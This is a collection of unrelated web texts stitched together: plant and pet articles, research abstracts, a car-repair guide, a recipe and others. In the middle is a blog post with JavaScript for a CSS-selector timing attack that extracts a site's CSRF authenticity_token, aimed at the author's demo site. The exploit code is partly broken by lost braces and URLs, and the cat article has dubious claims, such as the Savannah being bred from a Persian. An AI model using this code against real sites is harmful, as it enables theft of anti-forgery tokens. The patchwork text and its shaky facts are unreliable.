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Jacket Plum – Pappea capensis
Jacket Plum, Pappea capensis, is a long-lived, hardy, evergreen, small to medium fruit bearing tree, indigenous to southern Africa. It reaches heights of 2-8 meters and under ideal conditions can grow at a moderate rate but slow-growing under dry and/or cold conditions. Jacket Plum is of value as a street tree, shade tree in parking lots and townhouse gardens since it does not have an aggressive root system.
Pappea capensis leaves are simple and oblong, paler green below, hard-textured and rippled. Leaf borders vary from sharply toothed (in young growth) to almost smooth. Flowers are greenish, round and velvety, over 1cm in diameter, borne on catkins in the axils of the leaves, followed by round green velvety fruits. The wood is hard, light brown with a reddish shade, tough and heavy with a twined grain. Leaves and bark used as an important source of traditional medicine today.
Jacket Plum Fruit
Jacket Plum fruit is edible, with a tart flavor. It is eaten fresh or used to make preserves, jelly, vinegar and alcoholic drinks.
Jacket Plum Propagation Methods
Plant propagation is by seed and stem cuttings. Seeds should be collected from the ripe fruits, remove the red flesh and sow immediately. Pappea capensis is a member of the family Sapindaceae the genus Pappea. The plant can tolerate both cold and heat as well as prolonged periods of drought. Nursery-grown plants adapt well to cultivation.
Jacket Plum, Pappea capensis
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Is Bengal Cat the Same as a Savannah?
In recent times:
Bengal and Savannah cats have gained quite a lot of popularity for they have a lot in common and tend to share the same attributes.
So, is the Bengal cat the same as a Savannah cat? No, it's not. Both being a product of crossbreeding a wild and a domestic cat do have some similarities, but they are certainly not the same. To an untrained eye, these two species might look the same, but for someone who knows better, this is not the case.
Both of these breeds while having a lot in common tend to have many differences too.
Common similarities between the Bengal and Savannah cat
To understand the differences that they have, it is better that we begin by taking a look at some of the similarities that account for this common misconception we have around.
1. Love for water
Both these breeds have a deep fascination with water which is very obvious.
Not only would they cause you less trouble during a bath but they in fact, like playing in the water too, unlike most of the other breeds that we know of.
2. Scratching
As is a common practice amongst all the breeds, these two like to scratch things a lot too.
From sofas to carpets, you can expect to find them scratching just about anything that they can get their hands on.
Hence, the reason, why investing in a scratch post is most rewarding with them.
3. Playful nature
They both are attention seekers and are very affectionate to the ones they love.
Their playful and affectionate nature is the key reason why they make such great domestic cats.
4. Coat
Not only their habits:
But even their appearances seem to have a lot in common too.
Bengal and Savannah cats have coats that are:
 - Tabby
 - Spotted
 - Low-maintenance
5. Genes
This may be the prime reason that accounts for all the confusion that surrounds these two breeds.
Since they both are made by crossbreeding a wild and a domestic cat, one often believes them to be the same. But this isn't so.
Keeping in view the few commonalities mentioned above, would you still go as far ahead as to call them both to be the same?
We hope not.
As similar as they might seem to a layman, they both are poles apart.
What makes the Bengal and Savannah cats different?
From the ancestral lineage to the health issues they both face, there are many differences that you would come across if you bring these two breeds home.
To help your way to it, we will now be taking a quick look at some of the many variances that are found in Bengal and Savannah cats.
1. Breeding
The factor that makes them look similar is the one that makes them have distinguishing personalities and characteristics.
It is true that they both are made by breeding a domestic cat with a wile feline but the types of cats that are used are not the same.
For the Bengal, a domestic cat is made to breed with an ALC, also known as Asian Leopard Cat. A Savannah, on the other hand, is a product of a domestic Persian and an African Serval Cat (ASC).
2. Sizes
It is for the difference in their ancestral lineage, that the size of these two cats varies too.
The Savanah being a product of larger cats can reach the size of a golden retriever occasionally which is around 56inches when measured from the nose to their tail.
Since the ASC has African heritage, they are not only bigger in terms of size but can also weight a lot too. This means that you can find Savannah cats that weigh as much as 30 pounds at times.
When compared to the Savannahs, the Bengals are smaller in size.
The ALCs are smaller cats and this is why the Bengals to end up being medium sized.
A female may range between 7 and 10 pounds while for a male the number can go up to 17 pounds commonly.
The Bengal cats keep growing till they reach an age of two. During this time, they reach the size of a common domestic cat.
3. Temperaments
As discussed above, since the origins of these two breeds vary, the temperaments they both exhibits tend to differ too.
Savannah being from the wilder and more ferocious breed manifests the same behavior and have often been considered to a dog. This breed, for its similarity to canines, is good at leash training and tends to get along well with the other pets that you might have around.
Bengal cats, on the other hand, are active and equally loyal; too but require smaller mental stimuli to remain happy.
Both these breeds are active, highly talkative and very friendly in nature.
The Bengal cat can be seen jumping and playing around for hours at a stretch and would just as suddenly drop everything it was doing to come and receive the overdue affection from is the owner.
The Bengal cat craves attention more than anything and would be all too happy to snuggle and lie around in the lap.
Savannahs are a little different in this regard. While they too are known for being very loving and affectionate, they are not such great snugglers. They are good at solving puzzles and can jump as high as 12ft if given the space to explore the skills that have been passed down to them from their ancestors.
4. Appearance
These two cats might look similar to an outsider but a little closer look and you will see that even their appearances are not the same.
While they do share certain similarities, they both look very different from each other. From the size to the kind of coat they have, each one has its own unique personality.
So moving on, what are some of the many ways that make these two breeds differ from each other?
Let us find that out.
Coat: While the coat is short-haired and low-maintenance for both, the difference lies in the details. Bengal cats have marbled or spotted pattern whereas the Savannahs have a pattern that is similar to the ASC with black spots accentuated by a silver, golden or smoke background.
Body shape: Even the body shape and physique they have is very much different from each other. Bengals are medium-sized and muscular while Savannahs are tall and lean.
Ears: Savannah cats have pointed upright ears whereas the ears of Bengal cars are small and round.
Eyes: Bengal cats are known for their "Mascara" eyes. Savannah has boomerang shaped eyes that are gold, green or brown in color with a tear stain that goes from the corner down to the nose.
5. Health
These both breeds like others that we have in the feline family suffer from health issues of their own.
While most of the problems they face are relatively similar, there are some concerns that lie more with one breed than the other.
For example, Bengal cats are more prone to the retinal degeneration and PK deficiency disease than the Savannahs.
With all this said, it would be safe to say that Bengal cats are certainly not the same as Savannahs cats.
In fact, from our discussion above, these two are more different with respect to their physical attributes than the genetic similarity they share.
So, what kind of pets do they make, you may ask?
Well, it all depends on what you are looking for.
Both were exceptionally good domestic cats are great to have around and would prove to be a good addition to your family.
Depending on what size of cat you are looking for, what attributes and temperaments you would want in it and how much space you have at home, the choice may vary.
Related Questions
How much space do these two breeds need? Owing to their size and temperaments, Savannah cats need more space than Bengal.
This is also essential for the reason that they are more prone to getting into trouble than the other breed in the discussion here.
Are the males of Bengal and Savannahs sterile too? Partly, Yes.
The males that are a part of the earlier generations of these two breeds are sterile as is seen with all the hybrid animals.
This, however, is not much of a concern in regard to their health and characteristics and shouldn't bother you much as well, until and unless you plan on breeding the felines you have at home.
How can you ensure better health of the litter being produced? By working on a healthier and better gene pool.
When using kittens for breeding, take a look at the ancestral lineage and go for the ones which do not have any direct relatives with the health concerns you are trying to avoid here.
However, this is just a safety measure you can take and in no way guarantees that the cat you have wouldn't have any health problems.
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The vivid colors in the spring are the result of pigmented bacteria in the microbial mats that grow around the edges of the mineral-rich water. The bacteria produce colors ranging from green to red; the amount of color in the microbial mats depends on the ratio of chlorophyll to carotenoids. In the summer, the mats tend to be orange and red, whereas in the winter the mats are usually dark green. The center of the pool is sterile due to extreme heat.
The deep blue color of the water in the center of the pool results from a light-absorbing overtone of the hydroxy stretch of water. Though this effect is responsible for making all large bodies of water blue, it is particularly intense in Grand Prismatic Spring because of the high purity and depth of the water in the middle of the spring.

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text: A macrophage assay and proteomic screening were used to investigate the biological activity of soluble factors in the plasma of millimeter wave-exposed rats. NR8383 rat macrophages were incubated for 24 h with 10% plasma from male Sprague-Dawley rats that had been exposed to sham conditions, or exposed to 42 °C environmental heat or 35 GHz millimeter waves at 75 mW/cm² until core temperature reached 41.0 °C. Two-dimensional polyacrylamide gel electrophoresis, image analysis, and Western blotting were used to analyze approximately 600 protein spots in the cell lysates for changes in protein abundance and levels of 3-nitrotyrosine, a marker of macrophage stimulation. Proteins of interest were identified using peptide mass fingerprinting. Compared to plasma from sham-exposed rats, plasma from environmental heator millimeter wave-exposed rats increased the expression of 11 proteins, and levels of 3-nitrotyrosine in seven proteins, in the NR8383 cells. These altered proteins are associated with inflammation, oxidative stress, and energy metabolism. Findings of this study indicate both environmental heat and 35 GHz millimeter wave exposure elicit the release of macrophage-activating mediators into the plasma of rats.

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How to Replace a Belt Tensioner on a 1998 Chevy Cavalier
by Grace Mclain
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The belt tensioner on the 1998 Chevy Cavalier is a spring loaded component with a pulley attached to one end. The belt tensioner keeps the proper amount of tension on the belt while the engine is running. The tensioner moves up and down with the movement of the belt as the belt travels around each accessory pulley. Replace the tensioner if the spring inside of the tensioner arm becomes weak or if it breaks.
Step 1
Open the hood on the 1998 Chevy Cavalier and locate the spring loaded belt tensioner. It's on the front passenger side of the engine or in the front center of the engine. Use the bolt head in the middle of the tensioner pulley to loosen the tension off of the belt.
Step 2
Rotate the tensioner pulley clockwise with the ratchet and socket. Then, pull the belt out from under the tensioner pulley. Hang the belt to the front of the engine with a bungee strap to keep it from falling out of the other accessory pulleys.
Step 3
Locate the bolt head that in the center of the spring loaded section of the tensioner. Loosen and remove the bolt with the ratchet and a socket by turning the bolt counter-clockwise. Pull the tensioner straight off of the front of the engine and place it to the side. If the tensioner is stuck, slide a flathead screwdriver behind the tensioner and pry outward until the tensioner comes off of the front of the engine.
Step 4
Position the new tensioner to the front of the engine. Screw the bolt back into the center of the spring loaded arm and tighten down tight with the ratchet and socket.
Step 5
Remove the bungee strap from the belt. Then, turn the new tensioner pulley clockwise to make room for the belt. Slide the belt under the new tensioner pulley and release the tensioner. As the new tensioner retracts it will tighten the belt to the proper tension.
Inspect the belt to make sure it's still seated inside all of the pulleys. Then, crank the engine and let it run for 15 seconds. Watch the tensioner as the engine is running to ensure it's working properly. Turn the engine off and close the hood.
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Remnants of a Frozen Sahara
Navajo Standstone
Remnants of a Frozen Sahara The pale rock you see here is Navajo sandstone. This rock caps the top of the Vermilion Cliffs for more than 80 miles. Navajo sandstone also forms the high canyon walls at Zion National Park.
Imagine an enormous Sahara-like desert, full of wind-blown sand dunes, stretching from today's Wyoming to southern California. Geologists theorize that such a desert became the Navajo sandstone. When covered by a vast inland sea, that desert solidified in place. Minerals like calcium and iron cemented the ancient dunes together.
Along the Vermilion Cliffs and in Zion National Park the Navajo sandstone formation can be more than 2,000 feet thick.
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Mixer Conversion Loss Measurement
This video shows the basic operations of the Anritsu VectorStar and the, external signal generator, mixer measurement wizard for performing a mixer conversion loss measurement. Frequency translated devices are key components of any communication system, whether they are up-converters, down-converters, or basic mixers. Since their input and output frequencies are different, they require special features and setups for vector network analyzer (VNA) measurements. With the frequency offset capability of VectorStar VNAs, where the source and receiver are independently controlled, and the option to include a second source, such measurements are possible and can be easily configured.


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Background: The health effects and safety of non-nutritive sweeteners were investigated through various studies, with different study designs. ROBINS-I is proposed as a tool for quality assessment of non-randomised studies (non-RCTs).
Objectives: To assess the quality of non-RCTs with ROBINS-I, as part of a systematic review about health effects of non-nutritive sweeteners.
Methods: We used standard systematic review methodology as proposed by the Cochrane Handbook for the systematic review. Quality assessment of non-RCTs was conducted using ROBINS-I following the published guidance. A common understanding on how to assess each ROBINS-I domain was sought for in repeated discussions prior to assessment. Pairs of researchers independently assessed risk of bias in all domains and noted their results and comments in an Excel sheet. A harmonised understanding of the domains and the judgement was supported by discussing disagreements after initial assessment.
Results: We identified and included 60 studies in the systematic review. Of these, 32 were non-RCTs, including 9 non-RCTS or quasi-RCTs, 6 cohort studies, 16 case-control studies, and 1 cross-sectional study. Most non-RCTs had a serious risk of bias according to ROBINS-I assessment. A common understanding of the domains and judgement procedure during assessment had to be established by using the ROBINS-I guidance and during various group discussions.
Conclusions: The initial understanding of and the judgement with the ROBINS-I assessment tool varied slightly across researchers, but a common understanding could be established by using the guidance and group discussions. Comments and notes about common methodological procedures in nutritional research supported the judgement of the study quality. Guidance for the quality assessment of different study designs with ROBINS-I would be helpful in our perspective.


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Making your own fruit butters and jam from organic dried fruit is easy and less expensive than store bought version. Makes about 32-40 ounces of Fig Jam.
1 pound organic dried figs
3-4 cups water
1. Snip of the hard stem, if any, off of each fig.
2. Place figs in a 3.5 quart saucepan and add 3 cups water to the fruit. Bring to a boil, reduce heat and continue to cook until fruit is soft, about 10 to 15 minutes, stirring occasionally.
2. Remove from heat and puree fruit with a hand blender, food processor or blender. Be careful not to splatter, the fruit is hot. The hand blender is convenient because you can leave the fruit in the pot. The mixture should be very thick. If you prefer a thinner consistency blend in more water.
3. Let cool, store in clean jars or containers and refrigerate.


Have you ever encountered a website that runs jQuery(location.hash)? Seemingly pretty harmless, right? location.hash always starts with a "#" so all this code does is execute a CSS query selector. It turns out that's enough to perform a timing attack that can extract almost any secret string from the HTML.
Let's start with the basics. A CSS selector is used to match and select HTML elements and looks like these: div, a[href], input[name=authenticity_token]. With CSS3 you can have even more complicated selectors - for example input[value^='x'] matches an input element whose value attribute starts with 'x'.
Now over to the next ingredient of the timing attack. The best way to learn is by experimentation, so open your browser console (Ctrl-Shift-K in Firefox, Ctrl-Shift-J in Chrome). Execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"). Unless you have a very fast computer it should delay slightly before returning. Now execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='doesntexist']"). Notice how much faster it was? You have just discovered a very interesting property of CSS selectors: short-circuiting. The browser evaluates the selector right-to-left, so it starts searching for main[id='site-main']. When it finds it, it has to make sure it has a parent element that matches *:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))). This part is what takes so long (the :has pseudo-class is not implemented in the browser, but in jQuery). For the other selector, the browser evaluates main[id='doesntexist'], then when it doesn't find it, it just quits, ignoring the rest of the selector. In other words, it exhibits the same short-circuiting behavior as and/&& in most programming languages - just backwards.
The timing attack is beginning to take shape. Let's say we want to extract the authenticity_token (which protects against CSRF in Rails applications). If we execute the selector *:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x'], it will take a long time only if the authenticity_token starts with 'x'. But there's still a crucial problem left: how do we measure this time difference? The answer comes from a blog post by Eduardo Vela. The brilliant insight he offers is that the victim site and attacker site both run in the same thread, so a long running javascript process on the victim site will block execution on the attacker site. This gives us a way to detect when a selector is spending a long time executing.
I've set up an example site so we can experiment more easily: _URL_ Try to append _TAG_ to the URL and see what happens. View the page source and look at the hashchange handler to see exactly what it does. I've also set up the attacker site at _URL_ which embeds the victim site as an iframe. Now, back to the hack; hack.sheddow.xyz can schedule a callback to be executed later with setTimeout, then execute the selector on the victim site (via the hashchange handler in our case). If the hashchange handler is very slow, it will delay execution of the callback, and this delay can be measured with window.performance.now. Let's try to convert this into code.
const WAIT_TIME = 6;
const VICTIM_URL = "_URL_
function get_execution_time(selector) {
 var t0 = window.performance.now();
 var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
 window.frames[0].location = VICTIM_URL + "_TAG_," + encodeURIComponent(selector) + "," + Math.random();
 return p;
function measure_time(t0) {
 var t = window.performance.now() - t0;
 return t;
First we define a function wait so that we can work with Promises instead of with setTimeout directly. get_execution_time returns a Promise that should resolve in WAIT_TIME milliseconds, but before that, it executes the hashchange handler. The hashchange handler will hog the thread, and resolution of the Promise will be delayed. If the hashchange handler takes 50ms to execute, the Promise will resolve in atleast 50ms, and it will resolve to a value equal to the time it took. The WAIT_TIME is just to make sure the hashchange handler starts executing before the promise resolves. Test it out at _URL_ open the browser console, enter get_execution_time("p").then(console.log), and it should show about 10-20ms. Then try get_execution_time("*:has(*:has(*))").then(console.log), and it should show something closer to 100ms. At this point we can start brute-forcing the authenticity_token: just do get_execution_time("*:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a']") for each possible character, and the one that takes the longest time is probably the right one.
It's still possible to make it faster though. If you're familiar with blind SQL injection, you'll know that testing character by character is not the most optimal strategy. As with blind SQL injection, each query yields one bit of information ("fast" or "slow"), so it should be possible to halve the search space for each query. The trick is to test lots of characters at the same time, and use a binary search-like algorithm to narrow it down. Let's say we start testing abcdefghijklmnopqrstuvwxyzABCDEF. We can combine the selectors with a comma, so we'll end up with a super-long selector that looks something like *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a'], *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='b'],.... We then compare the execution time of these characters with the execution time of GHIJKLMNOPQRSTUVWXYZ0123456789+/, and whichever took the longest contains the correct character. Then we just split the correct string in half and repeat the process on the two substrings, recursively, until we hit upon the correct character.
Let's turn this into code. I'm gonna use async/await to make the code slightly cleaner.
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
 console.log("Testing '" + characters + "'");
 if (characters.length == 1) {
 return characters[0];
 var mid = Math.floor(_URL_
 var s1 = make_selector(prefix, characters.slice(0, mid));
 var s2 = make_selector(prefix, characters.slice(mid, characters.length));
 var t1 = await get_execution_time(s1);
 var t2 = await get_execution_time(s2);
 if (t1 < t2) {
 return binary_search(prefix, characters.slice(mid, characters.length));
 else {
 return binary_search(prefix, characters.slice(0, mid));
function make_selector(prefix, characters) {
 return characters
 .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
Relatively straightforward. It just splits characters in two, measures the execution time of each half, then recursively calls itself. If you run binary_search("", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log) on _URL_ it should return g.
Finally, we can start bruteforcing the entire token. Just do something like
var token = "";
while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 token += c;
and you're good, right? Not so fast. If just a single character is guessed incorrectly it will throw all future queries off. You're almost guaranteed to end up with an incorrect token. Fortunately the time difference between a correct and incorrect query should be so great that we can detect whether we have guessed incorrectly. Just create a function
function approximately_equal(t1, t2) {
 var diff = Math.abs(t1 - t2);
 return diff <= 0.2*t1 || diff <= 0.2*t2;
and modify binary_search to return null if t1 and t2 are approximately equal. Now let's try again:
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
 var misses = 0;
 var token = "";
 while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 if (c === null) {
 if (misses == 3) {
 token = token.slice(0, -1); // Backtrack
 else {
 token += c;
 misses = 0;


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Irish Setter
Irish Setter
Beloved for their rich mahogany silky coat and their excellence at bird hunting, the Irish Setter is truly an Irish beauty. Due to their friendliness and enthusiasm with visitors, they are one of the most common pets all over the world. Discover more about our Irish Setter puppies for sale below!
Breed History
Their history runs back to the 18th century in Ireland where they were developed to help farmers locate birds in the wild. Irish Setters were not always completely chestnut in color, the original Irish Setters had a mix of white coloring with red patches on their coats.
In the latter part of the 18th century, the Irish Setter was not predominantly red, they were born sporting different colors. However, the red dogs were the most popular.
Irish Setters are gundogs – dogs specially trained to assist in game hunting. They were traditionally employed to hunt because of their swiftness, their quick reactions and their keen sense of smell.
The Irish Setters are fun-loving animals. They are always lively, they greet visitors enthusiastically and are very friendly with children. The Irish Setter has a high sense of alertness.
They are usually very alert to their surroundings. It is easy to train this type of dog because of the high level of intelligence they display.
They can be too rambunctious with children. They can pose a threat to small animals in the home because they are a breed developed for hunting.
The Irish Setter thrives on the availability of human companions. Leaving them alone and void of human connection can make them hyperactive and destructive.
 Stated earlier, is the love Irish Setters have for their human owners and the constant to be around them. They would do well in an environment that lets them make occasional contact with human beings.
They love to run. A perfect environment for this breed is one that is fenced, which would allow them room to run as much as they want without the risk of wandering away from home.
However, it is inadvisable to keep this breed in an isolated place like a backyard all by itself as they can get destructive, bored and hyperactive over time.
The Irish Setter is an energetic dog. It loves to run around and initiate physical activities with owners or visitors alike. They require an hour of exercise daily.
Owners can achieve help them achieve this in different ways. As a hunting dog, it loves the wild, so owners can schedule jogs with it. Owners can also take bicycle rides and the Irish Setter would excitedly run after the bicycle.
The Irish Setter is not advised for people who spend long hours at work or people who don't live an active lifestyle. There are Another exciting way to get them exercised is Frisbee throwing.
Getting them to the pool and going for a dive is also great for their physical health. Hunting is a natural activity that they'd love to participate in.
Irish Setters have attractive coats that make them an easy spot in a sea of dogs. It is an important feature that sets it apart from other dogs in the world. They possess a coat that is not too long and aligns perfectly with the rest of their body.
Irish Setters are to be brushed often to keep the luster of the coat. They should be checked for debris after a fun time out. They usually don't need a bath for more than a few times in a year. To avoid getting his skin and coat parched, dog shampoo should be utilized.
Clean their ears weekly with a recommended cleanser and cotton ball, to prevent ear infections. Nails should be trimmed every month and their teeth should be brushed to prevent the buildup of bacteria in their denture.
The unregulated breeders who are selling outside of the USDA regulations and without a license are what we consider to be "Puppy Mills." We are committed to offering Irish Setter puppies who will grow up to become important members of your family. We only purchase puppies from the very best sources, and we stand behind every puppy we sell.
Contact us today to learn more about the availability of our Irish Setter puppies for sale. We look forward to helping you find your next family member. Our pet counselors can answer any questions you have about our Irish Setter puppies.
Top Ten Frequently Asked Questions about the Irish Setter
Are Irish Setters unstable and hyperactive?
Irish Setters gained a reputation as 'hyper dogs' in the 1970s when they became popular. This reputation has people believing they are highly unstable. While they are quite energetic, they only become hyperactive and unstable if they are not being constantly exercised or if they are not well trained.
How much grooming do Irish Setters need?
Their long chestnut coat does require some care but a habit of brushing them daily is the minimum they need.
Are Irish Setters good guard dogs?
While they are highly sensitive to changes in their surroundings, they would only alert owners to the presence of a threat. They would however not be doing any attacking the intruders. They are more likely to find a place to hide or greet the stranger happily.
How often should Irish Setters be fed?
Irish Setters require feeding three times a day when they are less than six months old. When they are older, feeding could be reduced to twice a day.
Do Irish Setters shed a lot?
They don't shed easily even though they have a long coat.
Are Irish Setters good apartment pets?
Old Irish setters possess good house manners. Young ones are however not great for apartments because they need room to run.
What is Irish Setters life expectancy?
They usually live for about 12 years.
How tall do Irish Setters get?
Male Irish Setters can grow to about 67 cm while females grow to a height of 62 cm.
How big do Irish Setters get?
Adult males can grow to a size of 32 kg and females reach an optimum of 29kg.
What should Irish Setters be fed?
They prefer homemade food, i.e. Real food
The Irish Setter is a breed that is easy to care for. As a very athletic animal, it challenges owners into an active lifestyle.
Are you interested in purchasing a Irish Setter?


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Code of Conduct
The Panhandle SEEP Code of Conduct is in place to ensure those who pursue the certification find value in their effort. Certification is a privilege granted to qualified individuals meeting the requirements. Certification also carries with it the responsibility of maintaining the value and integrity of the program.
As a function of maintaining my SEEP certification, I agree to the following:
- I will work to keep myself current and informed of new concepts in stormwater and erosion-sediment control and abreast of changing regulations
- I will conduct my activities with honesty and integrity
- I will be diligent in my efforts to educate my clients on the benefits of stormwater, erosion and sediment controls
- I will endeavor to assist others in my profession by relaying accurate and true information
- I will engage in acts that will minimize the impacts to protect our water resources
- I will represent my SEEP certification accurately as a voluntary educational accomplishment and commitment to continued learning in the field of stormwater, erosion and sediment control.


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If you're looking for a way to improve your spatial reasoning skills then look no further than Pictorial.
The app is designed to challenge users to solve geometrical puzzles by rotating objects. You use the touchscreen to rotate constellations until they are upright and create an object. You'll come across numerous different shapes, including stars, houses, animals and more. There are two different themes in the game, including Night City and Arctic, and the game's developer promises more are coming soon.
"Spatial reasoning is a common part of intelligence tests, pre-employment tests and admission tests to certain educations," Pictorial's developer says about the app. "Also spatial reasoning is generally regarded as one of the most basic reasoning abilities together with verbal reasoning, logical reasoning, numerical reasoning and abstract reasoning.
Some constellations are simple while others are quite challenging. But the game has a "help" feature that rotates constellations for you, revealing the true shape of the object.
Pictorial is available for free on the iTunes App Store and is compatible with the iPhone, iPad and iPod Touch. Check out a preview trailer of the app below.
Released: 2011-03-07 :: Category: Games
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Noun: kaki kaa-kee
 1. Small deciduous Asiatic tree bearing large red or orange edible astringent fruit
 - Japanese persimmon, Diospyros kaki
 2. Blackish stilt of New Zealand sometimes considered a colour phase of the white-headed stilt
 - Himantopus novae-zelandiae
Derived forms: kakis
Type of: Himantopus stilt, longlegs, long-legs, persimmon, persimmon tree, stilt, stilt plover, stiltbird
Part of: Diospyros, genus Diospyros, genus Himantopus, Himantopus
Encyclopedia: Kaki, Iran


text: This paper introduces a novel wrapper-based outlier detection framework (WrapperOD) and its instance (HOUR) for identifying outliers in noisy data (i.e., data with noisy features) with strong couplings between outlying behaviors. Existing subspace or feature selection-based methods are significantly challenged by such data, as their search of feature subset(s) is independent of outlier scoring and thus can be misled by noisy features. In contrast, HOUR takes a wrapper approach to iteratively optimize the feature subset selection and outlier scoring using a top-κ outlier ranking evaluation measure as its objective function. HOUR learns homophily couplings between outlying behaviors (i.e., abnormal behaviors are not independent - they bond together) in constructing a noise-resilient outlier scoring function to produce a reliable outlier ranking in each iteration. We show that HOUR (i) retains a 2-approximation outlier ranking to the optimal one; and (ii) significantly outperforms five stateof-the-art competitors on 15 real-world data sets with different noise levels in terms of AUC and/or P@n. The source code of HOUR is available at _URL_


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Technical Training Center of the Air Force Northern Division
The TTC of the Air Force Northern Division is the organizational foundation for tailored technical training geared to the military capabilities of the Bundeswehr.
In four training groups at the two locations Faßberg and Wunstorf, the Northern Division conducts technical and logistic training, advanced training and continuing education in the following areas:
- Aircraft technology for the CH-53 medium transport helicopter and the A400M transport aircraft
- Basic training covering all weapon systems
- Flight equipment and rescue systems
- Ground equipment technology
- Structural mechanics
- Operating materials
- Combat damage repair on Air Force weapon systems and aircraft
The training workshop is another building block of the Northern Division. Here, young people can learn the civilian-approved profession of aircraft mechanic, specializing in engine technology.
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روشی برای بهینه سازی شکل آمپلی فایر مافوق صوت با استفاده از الگوریتم ژنتیکی و روش سیمپلکس
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Publisher : Elsevier - Science Direct (الزویر - ساینس دایرکت)
Journal : Journal of Manufacturing Systems, Available online 29 June 2013
Designing devices for ultrasonic vibration applications is mostly done by intuitively adjusting the geometry to obtain the desired mode of vibration at a specific operating frequency. Recent studies have shown that with optimization methods, new devices with improved performance can be easily found. In this investigation, a new methodology for designing an ultrasonic amplifier through shape optimization using genetic algorithms and simplex method with specific fitness functions is presented. Displacements at specific functional areas, main functionality, and mode frequency are considered to determine the properties of an individual shape to meet the stated criteria. Length, diameter, position of mountings, and further specific geometric parameters are set up for the algorithm search for an optimized shape. Beginning with genetic algorithms, the basic shape fitting the stated requirements is found. After that the simplex method further improves the found shape to most appropriately minimize the fitness function. At the end, the fittest individual is selected as the final solution. Finally, resulting shapes are experimentally tested to show the effectiveness of the methodology.
Recent developments in ultrasonic vibration assisted machining call for new designs of tools, horns, boosters, and other components. While a wider application range of the hybrid technology of ultrasonic vibration assistance for many manufacturing technologies is of great interest, one key challenge is the design of the system in order to achieve the desired resonance vibration. The most common mode used in ultrasonic-vibration-assisted machining is the longitudinal mode of an axisymmetrical horn, which can be easily obtained when solving the Webster Horn Equation. equation(1) View the MathML source∂2u∂z2+1A(z)dA(z)dz∂u∂z=1c2∂2u∂t2 where t is time, u is displacement, A(z) is the cross sectional area as function of position z, and c is the acoustic velocity. The acoustic velocity c can be obtained with equation(2) View the MathML sourcec=EYρ where EY is the material's Young's modulus, and ρ the material density. In case of a harmonic motion, Eq. (1) can be rewritten as equation(3) View the MathML source∂2u∂z2+1A(z)dA(z)dz∂u∂z=ω2c2u where ω is the angular frequency. Using Eq. (3) the length of axisymmetric horns can easily be calculated given a specific resonance frequency. The design of tool holders and horns can be obtained by solving the above equations, and for various A(z). Based on these findings, a great variety of axisymmetric horns has been found and are used in the industry today. In medical engineering, a novel ultrasonic vibration tool for surgery has been designed and tuned to the appropriate frequency for the optimal configuration. A percussive drill system was designed for rock coring on planetary robotic missions using ultrasonic vibration assistance to reduce power and torque requirements. More challenging are new designs for ultrasonic vibration assisted machining by combining two modes for operational purposes. The longitudinal-torsional composite mode allows advanced applications for machining like drilling. Tsujino et al. designed a one-dimensional longitudinal-torsional vibration converter using diagonal slits within the resonating structure. Designing transducers for ultrasonic assisted wire bonding with finite element method has been discussed in with the goal of matching simulation results with experimental results. Enhancing vibration performance and matching simulation with experimental results has also been discussed in for ultrasonic block horns. Properly designing a rotary ultrasonic milling tool with finite element method is introduced in. For many of the mentioned designs of horns and ultrasonic vibration components, intuitive design strategies were used by evaluating the nodal displacements of modes simulated with an FEM software. A common non-automated design procedure can be found in, which outlines the step-by-step procedure to manually design an ultrasonic device. Automating the intuitive/manual design process can be done by shape optimization. Many optimization methods have been applied for finding shapes and structures that provide good results for ultrasonic vibration applications. Combining multi-objective decision making such as the NIMBUS method with the finite element method can provide very good designs as shown in. Another very good optimization was introduced in to find advanced transducer designs while satisfying conflicting optimal values in the design space. In, design of experiments is used to find the correct parameters for an ultrasonic linear motor and perform a sensitivity analysis for each parameter and their interactions with each other. Based on Eq. (1), a ultrasonic horn optimization method is done in. Porto et al. developed a genetic algorithm to optimize the amplitude of a surgical ultrasonic transducer by changing the length of specific geometric parts at a given frequency. Designing the components for ultrasonic vibration assisted machining is generally challenging, because the high frequency vibrations need to precisely occur at the tool edge or a preferred location. While the maximum amplitude is desired at the tool, minimal vibration should occur at the clamping or mounting of the ultrasonic vibration device. In this investigation, a new methodology for a shape optimization of ultrasonic vibration amplifiers and reducers using generic algorithm (GA) and simplex method and is introduced. Since the GA is capable of searching for the optimum of the entire design space for non convex problems, it serves as a global search method. The subsequent simplex method, as a local search method, is used to further refine the found optimum. The optimized shapes are experimentally tested by conducting an FFT Analysis and measuring displacements using a laser vibrometer.
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In conclusion, it has been shown that the presented optimization methodology for ultrasonic devices is capable of delivering usable results that are in accordance with the specifications of the application. The presented fitness functions allow the optimizer to appropriately find geometric shapes of ultrasonic devices. They consist of the displacements at essential areas of the ultrasonic device and position of functional parts of the device. For finding the optimal design, a GA and simplex method is used. A longitudinal mode with the appropriate amplification at the functional area and two fix points with minimal vibration was tested for the amplitude modifiers. Changing the amplification factor resulted in new shapes that meet the optimization criteria. Changing other specifications, such as frequency or resonance mode type, can also be done. For further investigations, this optimization methodology needs to be tested on various ultrasonic components as well as cutting tools. To enhance the presented optimization procedure, minimization of internal stress can be included in the fitness function. This is very important for small and thin high-power ultrasonic devices. Adding further constraints to simulate the connection at the mountings might also be included. Furthermore, a topology optimization needs to be developed to enable a wider range of possible solutions for ultrasonic components.


